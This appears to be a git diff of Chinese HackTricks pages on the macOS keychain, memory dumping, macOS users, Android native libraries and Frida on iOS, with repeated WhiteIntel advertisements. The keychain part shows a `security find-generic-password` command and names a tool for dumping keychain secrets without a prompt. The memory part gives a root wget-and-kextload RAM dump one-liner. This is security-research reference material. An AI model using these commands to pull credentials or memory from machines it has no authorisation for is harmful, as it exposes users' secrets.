### 密码钥匙串访问
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
这些文件虽然没有固有的保护,可以**下载**,但是它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击
## 钥匙串条目保护
您可以访问他们的网站并免费尝试他们的引擎:
### 访问控制列表ACLs
{% embed url="https://whiteintel.io" %}
钥匙串中的每个条目都受**访问控制列表ACLs**的管理,这些列表规定了谁可以对钥匙串条目执行各种操作,包括:
---
## 主要密钥链
* **用户密钥链**`~/Library/Keychains/login.keycahin-db`),用于存储诸如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥等**特定于用户**的凭据。
* **系统密钥链**`/Library/Keychains/System.keychain`),存储**系统范围**的凭据如WiFi密码、系统根证书、系统私钥和系统应用程序密码。
### 密码密钥链访问
这些文件虽然没有固有的保护措施,可以被**下载**,但它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。
## 密钥链条目保护
### ACLs
密钥链中的每个条目都受**访问控制列表ACLs**的管辖,这些列表规定了谁可以对密钥链条目执行各种操作,包括:
* **ACLAuhtorizationExportClear**:允许持有者获取密钥的明文。
* **ACLAuhtorizationExportWrapped**:允许持有者获取使用另一个提供的密码加密的明文。
@ -35,19 +49,19 @@
ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在不提示的情况下执行这些操作。这可能是:
* &#x20;**N`il`**(无需授权,**每个人都受信任**
* **`Nil`**(无需授权,**每个人都受信任**
* 一个**空**列表(**没有人**受信任)
* 特定**应用程序**的**列表**。
此外,条目可能包含**`ACLAuthorizationPartitionID`**密钥,用于识别**teamid、apple**和**cdhash**。
* 如果指定了**teamid**,则为了**在没有**提示的情况下**访问条目**值,使用的应用程序必须具有**相同的teamid**。
* 如果指定了**teamid**,则为了**在没有**提示的情况下访问条目值,使用的应用程序必须具有**相同的teamid**。
* 如果指定了**apple**,则应用程序需要由**Apple**签名。
* 如果指定了**cdhash**,则**应用程序**必须具有特定的**cdhash**。
### 创建钥匙串条目
### 创建密钥链条目
使用**`Keychain Access.app`**创建**新**条目时,适用以下规则:
使用**`Keychain Access.app`**创建**新**的**条目**时,适用以下规则:
* 所有应用程序都可以加密。
* **没有应用程序**可以导出/解密(无需提示用户)。
@ -55,7 +69,7 @@ ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在
* 没有应用程序可以更改ACLs。
* **partitionID**设置为**`apple`**。
当**应用程序在钥匙串中创建条目**时,规则略有不同:
当**应用程序**在密钥链中创建条目时,规则略有不同:
* 所有应用程序都可以加密。
* 只有**创建应用程序**(或明确添加的任何其他应用程序)可以导出/解密(无需提示用户)。
@ -63,7 +77,7 @@ ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在
* 没有应用程序可以更改ACLs。
* **partitionID**设置为**`teamid:[teamID here]`**。
## 访问钥匙串
## 访问密钥链
### `security`
```bash
@ -76,24 +90,24 @@ security find-generic-password -a "Slack" -g
# Change the specified entrys PartitionID entry
security set-generic-password-parition-list -s "test service" -a "test acount" -S
```
### API
### APIs
{% hint style="success" %}
**密钥链枚举和转储**不会生成提示的机密可以使用工具[**LockSmith**](https://github.com/its-a-feature/LockSmith)完成
**密钥链枚举和转储**不会生成提示的机密可以使用工具[**LockSmith**](https://github.com/its-a-feature/LockSmith)完成
{% endhint %}
列出并获取每个密钥链条目的**信息**
* API **`SecItemCopyMatching`** 提供每个条目的信息,使用时可以设置一些属性:
* **`kSecReturnData`**如果为true将尝试解密数据设置为false可避免潜在的弹出窗口
* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以无弹出窗口解密则设置为true
* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以无弹出窗口的情况下解密则设置为true
* **`kSecReturnAttributes`**:获取条目的元数据
* **`kSecMatchLimit`**:返回多少结果
* **`kSecClass`**:密钥链条目的类型
获取每个条目的**ACL**
* 使用API **`SecAccessCopyACLList`** 可以获取密钥链条目的**ACL**它将返回一个ACL列表如`ACLAuhtorizationExportClear`和之前提到的其他ACL),其中每个列表包括:
* 使用API **`SecAccessCopyACLList`** 可以获取密钥链条目的**ACL**它将返回一个ACL列表如`ACLAuhtorizationExportClear`和之前提到的其他),其中每个列表包括:
* 描述
* **受信任应用程序列表**。这可以是:
* 一个应用程序:/Applications/Slack.app
@ -108,7 +122,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
以下是**无需提示即可导出机密**的**要求**
* 如果列出了**1个或更多受信任的**应用程序:
* 需要适当的**授权****`Nil`**,或者是授权访问机密信息的应用程序允许列表的一部分)
* 需要适当的**授权****`Nil`**,或者是允许访问机密信息的授权应用程序列表的一部分)
* 需要代码签名与**PartitionID**匹配
* 需要代码签名与一个**受信任应用程序**的代码签名匹配或者是正确的KeychainAccessGroup的成员
* 如果**所有应用程序都受信任**
@ -119,19 +133,31 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
{% hint style="danger" %}
因此,如果列出了**1个应用程序**,则需要在该应用程序中**注入代码**。
如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任带有apple的partitionID的所有应用程序的内容。也可以使用**`Python`**进行此操作。
如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它因此任何信任partitionID中带有apple的所有应用程序的内容。也可以使用**`Python`**进行此操作。
{% endhint %}
### 两个额外属性
* **Invisible**:这是一个布尔标志,用于从**UI**密钥链应用程序中**隐藏**条目
* **General**:用于存储**元数据**(因此**未加密**
* Microsoft将所有刷新令牌以明文形式存储,以访问敏感端点
* Microsoft将所有用于访问敏感端点的刷新令牌以明文形式存储。
## 参考资料
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**使用:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
@ -141,7 +167,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -8,21 +8,35 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 内存遗留物
### 交换文件
交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时数据会被转移到交换文件中然后根据需要重新转移到物理内存中。可能会存在多个交换文件名称类似于swapfile0、swapfile1等。
交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时数据会转移到交换文件然后根据需要重新转移到物理内存。可能存在多个交换文件名称类似于swapfile0、swapfile1等。
### 休眠镜像
位于`/private/var/vm/sleepimage`的文件在**休眠模式**期间至关重要。**当OS X休眠时内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续之前的操作。
位于`/private/var/vm/sleepimage`的文件在**休眠模式**期间至关重要。**当OS X休眠时内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续上次的操作。
值得注意的是在现代MacOS系统上出于安全原因此文件通常是加密的使恢复变得困难。
@ -30,7 +44,7 @@
### 内存压力日志
MacOS系统中另一个重要的与内存相关的文件是**内存压力日志**。这些日志位于`/var/log`中,包含有关系统内存使用情况和压力事件的详细信息。它们对诊断与内存相关的问题或了解系统如何随时间管理内存非常有用。
MacOS系统中另一个重要的与内存相关的文件是**内存压力日志**。这些日志位于`/var/log`中,包含有关系统内存使用情况和压力事件的详细信息。它们对诊断与内存相关的问题或了解系统如何随时间管理内存非常有用。
## 使用osxpmem转储内存
@ -60,7 +74,17 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
sudo su
cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
{% endcode %}
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
@ -68,10 +92,10 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,22 +6,36 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
### 常见用户
* **守护进程**:为系统守护进程保留的用户。默认的守护进程帐户名称通常以“\_”开头
- **Daemon**:为系统守护程序保留的用户。默认的守护程序帐户名称通常以“\_”开头
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
* **访客**:具有非常严格权限的访客帐户
- **Guest**:具有非常严格权限的访客帐户
{% code overflow="wrap" %}
```bash
@ -35,8 +49,8 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
### 用户权限
* **标准用户:** 最基本的用户。在尝试安装软件或执行其他高级任务时,此用户需要管理员用户授予权限。他们无法自行执行这些操作
* **管理员用户**: 大部分时间作为标准用户运行的用户,但也被允许执行像安装软件和其他管理任务这样的根权限操作。所有属于管理员组的用户都**通过 sudoers 文件获得对 root 的访问权限**。
* **标准用户:** 最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予权限。他们无法自行完成这些任务
* **管理员用户**: 大部分时间以标准用户身份运行的用户,但也被允许执行像安装软件和其他管理任务这样的根权限操作。所有属于管理员组的用户都**通过 sudoers 文件获得对 root 的访问权限**。
* **Root**: Root 是一个允许执行几乎任何操作的用户(受到诸如系统完整性保护之类的限制)。
* 例如root 将无法将文件放入 `/System`
@ -49,7 +63,7 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**
</details>

View file

@ -7,22 +7,36 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**有关更多信息,请查看:[https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)**
## WhiteIntel
Android应用程序可以使用本地库通常用C或C++编写用于性能关键任务。恶意软件创建者也使用这些库因为它们比DEX字节码更难逆向工程。本节强调针对Android定制的反向工程技能而不是教授汇编语言。提供了ARM和x86版本的库以确保兼容性。
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
### 关键点:
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
**欲了解更多信息,请查看:[https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)**
Android应用程序可以使用本地库通常用C或C++编写用于性能关键任务。恶意软件创建者也使用这些库因为它们比DEX字节码更难逆向工程。本节强调针对Android定制的逆向工程技能而不是教授汇编语言。提供了ARM和x86版本的库以确保兼容性。
### 关键要点:
- **Android应用程序中的本地库**
- 用于性能密集型任务。
- 用C或C++编写,使逆向工程具有挑战性。
- 以`.so`共享对象格式存在类似于Linux二进制文件。
- 用C或C++编写,使逆向工程变得困难
- 以`.so`(共享对象)格式找到类似于Linux二进制文件。
- 恶意软件创建者更喜欢本地代码以增加分析难度。
- **Java本机接口JNI和Android NDK**
@ -36,10 +50,10 @@ Android应用程序可以使用本地库通常用C或C++编写,用于性能
- Java声明的本机方法链接到本机函数实现执行。
- **将Java方法链接到本机函数**
- **动态链接:** 本地库中的函数名称与特定模式匹配,从而实现自动链接。
- **动态链接:** 本地库中的函数名称与特定模式匹配,允许自动链接。
- **静态链接:** 使用`RegisterNatives`进行链接,提供函数命名和结构的灵活性。
- **向工程工具和技术:**
- **向工程工具和技术:**
- 工具如Ghidra和IDA Pro有助于分析本地库。
- `JNIEnv`对于理解JNI函数和交互至关重要。
- 提供练习以实践加载库、链接方法和识别本机函数。
@ -56,17 +70,3 @@ Android应用程序可以使用本地库通常用C或C++编写,用于性能
- **调试本地库:**
- [使用JEB反编译器调试Android本地库](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,32 +6,46 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 安装Frida
**在越狱设备上安装Frida的步骤**
1. 打开Cydia/Sileo应用。
2. 转到Manage -> Sources -> Edit -> Add。
2. 导航至管理 -> 源 -> 编辑 -> 添加
3. 输入"https://build.frida.re"作为URL。
4. 进入新添加的Frida源。
4. 转到新添加的Frida源。
5. 安装Frida软件包。
如果您使用**Corellium**,您需要从[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)下载Frida版本`frida-gadget-[yourversion]-ios-universal.dylib.gz`并解压缩并复制到Frida要求的dylib位置例如`/Users/[youruser]/.cache/frida/gadget-ios.dylib`
安装完成后您可以在PC上使用命令**`frida-ls-devices`**检查设备是否显示您的PC需要能够访问它。\
还可以执行**`frida-ps -Uia`**来检查手机的运行进程。
安装后您可以在PC上使用命令**`frida-ls-devices`**检查设备是否显示您的PC需要能够访问它。\
执行**`frida-ps -Uia`**来检查手机的运行进程。
## 无需越狱设备和无需对应用程序打补丁的Frida
## 无需越狱设备和无需修补应用程序的Frida
查看这篇关于如何在非越狱设备上使用Frida而无需对应用程序打补丁的博文:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
查看这篇关于如何在非越狱设备上使用Frida而无需修补应用程序的博文:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## 安装Frida客户端
@ -40,7 +54,7 @@
pip install frida-tools
pip install frida
```
安装了Frida服务器并连接设备后**检查**客户端是否**正常工作**
安装了Frida服务器并连接设备后**检查**客户端是否**运行**
```bash
frida-ls-devices # List devices
frida-ps -Uia # Get running processes
@ -67,7 +81,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
* 自动完成:只需执行 `frida -U <program>`
<figure><img src="../../.gitbook/assets/image (687).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1156).png" alt=""><figcaption></figcaption></figure>
* 获取**所有**可用的**类**(按字符串过滤)
@ -91,7 +105,7 @@ console.log("Objective-C runtime is not available.");
```
{% endcode %}
* 获取类的所有方法(按字符串过滤)
* 获取一个类的所有方法(通过字符串过滤)
{% code title="/tmp/script.js" %}
```javascript
@ -153,11 +167,11 @@ console.log("loaded");
### Frida Stalker
[官方文档](https://frida.re/docs/stalker/#:~:text=Stalker%20is%20Frida's%20code%20tracing,every%20instruction%20which%20is%20executed.): Stalker是Frida的代码**追踪引擎**。它允许跟踪线程,**捕获**每个函数,**每个代码块**,甚至每个执行的指令。
[来自文档](https://frida.re/docs/stalker/)Stalker是Frida的代码**跟踪引擎**。它允许跟踪线程,**捕获**每个函数,**每个代码块**,甚至执行的每条指令。
可以在[https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)找到一个实现Frida Stalker的示例。
可以在[https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)找到一个实现Frida Stalker的示例。
这是另一个示例,每次调用函数时都会附加Frida Stalker
这是另一个示例每次调用函数时附加Frida Stalker的示例
```javascript
console.log("loading");
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>");
@ -191,12 +205,12 @@ Stalker.flush(); // this is important to get all events
});
```
{% hint style="danger" %}
这对于调试目的很有趣,但对于模糊测试来说,不断地**`.follow()`**和**`.unfollow()`**是非常低效的。
这对于调试目的很有趣,但对于模糊测试来说,不断地 **`.follow()`** **`.unfollow()`** 是非常低效的。
{% endhint %}
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) 是一个基于**Frida的模糊测试套件**提供各种模糊测试模式如AFL++模式或被动跟踪模式。它应该在所有Frida支持的平台上运行。
[**fpicker**](https://github.com/ttdennis/fpicker) 是一个基于 **Frida 的模糊测试套件**,提供各种模糊测试模式,如 AFL++ 模式或被动跟踪模式。它应该可以在所有 Frida 支持的平台上运行。
* [**安装 fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
@ -320,7 +334,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
您可以检查**macOS控制台**或**`log`** cli来查看macOS日志。\
您还可以使用**`idevicesyslog`**来检查iOS的日志。\
